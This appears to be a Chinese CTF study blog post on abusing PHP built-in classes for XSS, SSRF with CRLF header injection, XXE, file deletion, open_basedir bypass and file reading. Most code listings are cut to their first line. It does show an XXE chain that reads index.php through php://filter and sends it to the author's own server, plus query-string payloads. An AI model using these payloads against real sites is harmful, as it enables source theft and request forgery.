前言
填坑这一块知识了,填完坑就要开始恶补pop和xss这两块的知识来为iscc做准备了。
php原生类
在CTF题目中,php原生类的运用主要可以利用在xss、反序列化、ssrf、xxe以及读取文件的解题上。
我们可以通过下面这个exp来遍历原生类:
1 | <?php |
接下来我们学习认识应用比较常用的一些原生类。
Error/Exception
xss的利用
在报错开启的情况下,php7中利用Error类可能会导致xss漏洞,因为它内置一个__toString()方法。如果做pop时打不通了可能就可以尝试直接一转xss。
test.php:
1 | <?php |
poc:
1 | <?php |
发现成功触发xss,存在利用。
而Exception除了可以利用在php7外,还可以利用在php5上,方法一致。
绕过hash比较
在php7下,Error是所有PHP内部错误类的基类,我们可以利用其返回性质来进行绕过。
[极客大挑战 2020]Greatphp:
1 | <?php |
poc:
1 | <?php |
用一个简单的短标签和取反绕rce,主要是学习原生类应用。
Exception也一样,php5以上都可利用。
SoapClient
这个类一般用于ssrf,这是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的PHP客户端。该迭代器有一个__call()方法,当__call()方法被触发后,它可以发送HTTP和HTTPS请求。
构造规则:
1 | public SoapClient :: SoapClient(mixed $wsdl [,array $options ]) |
我们使用RequestBin进行模拟:
1 | <?php |
执行代码,发现成功触发ssrf。但是,由于它仅限于HTTP/HTTPS协议,所以用处不是很大。而如果这里HTTP头部还存在CRLF漏洞的话,但我们则可以通过SSRF+CRLF,插入任意的HTTP头。
像这样:
1 | <?php |
我们的自定义cookie就被插入进http头中了。
SimpleXMLElement
这个类用于解析XML文档中的元素,我们可以参考php手册对其的定义:
根据手册,当data_is_url为true时,我们可以实现远程xml载入,而data参数用来设置自己的payload的url地址,从而实现xxe。
我们来看一题的代码:
1 | <?php |
我们发现module为调用的类,args为类的构造方法的参数,那么在这里我们就可以构造xxe读取源码。
首先在自己的vps上构建三个文件,分别是mrl64.xml、send.xml以及send.php。
mrl64.xml:
1 | <?xml version="1.0"?> |
send.xml:
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> |
send.php:
1 | <?php |
接着我们构建payload:
1 | ?module=SimpleXMLElement&args[]=http://ip/mrl64.xml&args[]=2&args[]=true |
我们就会发现源码已经被写入result.txt中了。
ZipArchive
ZipArchive类可以对文件进行压缩与解压缩处理,之前题目出现的利用主要是用来删除waf文件的。如果设置flags参数的值为ZipArchive::OVERWRITE的话,可以把指定文件删除。
由于没有找到对应题目的复现环境以及docker,所以就大概讲一下题目思路吧。
首先是源码:
1 | <?php |
我们重点关注在Open类上,这里有个读取文件,只有读取waf.txt失败才可以进行rce。而观察代码,我们发现Game类中的$content可以进行设置,因此我们构造poc:
1 | <?php |
其他参数的设置是别的考点,我们这里只关注原生类,这样就可以删除waf.txt文件了。
文件遍历
DirectoryIterator/FilesystemIterator
这两个类十分相似,我们只需要构造个很简单的poc就可以读取文件了:
1 | <?php |
不过这样只能读取根目录下的第一个文件名,我们可以通过遍历读取根目录下所有文件名:
1 | <?php |
配合glob协议进行匹配做到查找我们想要的文件:
1 | <?php |
GlobIterator
这个类nisa复现的时候用过,其实也差不多,不过比较特殊的是他自己就可以进行匹配,不需要通过glob伪协议:
1 | <?php |
绕过open_basedir
与glob协议结合读取配合遍历即可绕过,测试代码也非常简单:
1 | <?php |
payload:
1 | ?whoami=glob:///* |
同样由于GlobIterator类的特殊性,使用该类遍历时就不需要配合glob协议了。
SplFileObject
能遍历自然要读取,SplFileInfo类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作。nisa的题目中进行文件读取操作用的就是这个类。
读取第一行:
1 | <?php |
遍历文件:
1 | <?php |
和遍历文件的类用法相似,也是比较简单的。
ReflectionMethod
这个类报告了一个方法的有关信息,最重要的是可以导出或提取关于类、方法、属性、参数等的详细信息,包括注释:
1 | ReflectionMethod::__construct — ReflectionMethod 的构造函数 |
我们用getDocComment()方法举例,获取注释内容:
1 | <?php |
发现回显:
1 | string(39) "/** |
总结
本来是只想着学下文件操作类的部分,没想到已经出现了这么多不同的考法,还是得多做总结,利用在之后的题目中。